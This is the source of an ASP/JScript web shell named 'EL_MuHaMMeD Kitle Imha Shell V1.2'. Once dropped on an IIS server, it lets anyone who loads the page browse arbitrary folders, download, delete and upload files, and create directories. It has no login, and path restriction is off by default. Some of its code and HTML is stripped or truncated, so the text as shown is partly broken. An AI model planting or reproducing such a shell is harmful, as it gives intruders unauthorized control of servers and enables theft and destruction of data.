<%@ Language = JScript CodePage = 65001%> <% /* Copyright (C) EL_MuHaMMeD Created By EL_MuHaMMeD: cwelmuhammed@elmuhammed.com Site: http://www.elmuhammed.com http://www.gnu.org/licenses/gpl.txt */ /* functions */ function isAllowedFolder(path, currentfolder){ if(bRestrictBrowser){ var re = new RegExp("^"+ path.replace(/\\/g, ""), "i"); return re.test(currentfolder.replace(/\\/g, "")); } return true; } /* trim strings */ String.prototype.trim = function(){ return this.replace(/^\s*|\s*$/g, ""); } /* some server variables */ var script_name = Request.ServerVariables("script_name"); var http_referer = Request.ServerVariables("http_referer"); /* some configurations vars change true/false to active/deactive feature */ var bDel = true; // active/deactive file deletion var bUpload = true; // active/deactive file upload var bNewFolder = true; // active/deactive create directory var bDownload = true; //active/deactive file download var bRestrictBrowser = false; //active/deactive path restriction var sPathRestrict = "c:\\inetpub\\wwwroot\\aspbrowser"; /* filesystem object */ var fso = Server.CreateObject("Scripting.FileSystemObject"); /* download files using stream object */ if(Request("download")() && bDownload){ var file = Request("file")(); var filename = fso.GetFileName(file); if(fso.FileExists(file)){ var oStrem = Server.CreateObject("ADODB.Stream"); with(oStrem){ Type = 1; Open(); LoadFromFile(file); Response.ContentType = "application/octet-stream"; Response.AddHeader("Content-Disposition", "attachment;filename=" + filename); Response.BinaryWrite(Read()) Close() } Response.End(); } Response.Redirect(script_name + "?folder=" + Request("folder")()); } /* delete files/folders */ if(Request("delete")() && bDel){ var chkDelete = Request.Form("chkDelete"); if(chkDelete != null){ for(var i=0;i"); if(bDel){ Response.Write("<\/td>"); } Response.Write("2 " + file.name); if(bDownload){ Response.Write("<\/a>"); } Response.Write("<\/td>" + file.type + "<\/td>" + file.size + "<\/td><\/tr>"); colfiles.moveNext(); } } /* get all subfolders in current folder */ function displayAllFolders(currentfolder){ var colfolders = new Enumerator(currentfolder.subfolders); while (!colfolders.atEnd()){ var folder = colfolders.item(); Response.Write(""); if(bDel){ Response.Write("<\/td>"); } Response.Write("0 " + folder.name + "<\/a><\/td><\/td><\/td><\/tr>"); colfolders.moveNext(); } } /* build navigation trail */ function buildTrail(currentfolder){ var s = currentfolder.split("\\"); var trail = ""; for(i=0; i 0){ trail += "\\"; Response.Write("" + s[i] + "\\"); } } } /* end functions */ with(Response){ Buffer = true; ContentType = "text/html"; CacheControl = "no-cache"; AddHeader("Pragma", "no-cache"); Expires = -1; CharSet = "utf-8"; } var currentfolder = Request("folder")(); if(currentfolder != null && isAllowedFolder(sPathRestrict, currentfolder.substr(0, currentfolder.length - 1).replace(/\\/g, "\\\\"))){ if(fso.FolderExists(currentfolder)){ currentfolder = fso.GetFolder(currentfolder); }else{ currentfolder = fso.GetFolder(Server.MapPath(".\\")); } }else{ currentfolder = fso.GetFolder(Server.MapPath(".\\")); } %> EL_MuHaMMeD Shell V1.2 | CoDeD By EL_MuHaMMeD

EL_MuHaMMeD Kitle Imha Shell V1.2

<%if(bDel){%><%}%> <% displayAllFolders(currentfolder); displayAllFiles(currentfolder); %>
Dosya ve KlasorlerDosya TipiDosya Boyutu

<% if(bUpload){ try{ var upload = Server.CreateObject("Persits.Upload.1"); %>
Dosya Upload:
File:
File:
File:

<% }catch(e){ } } %>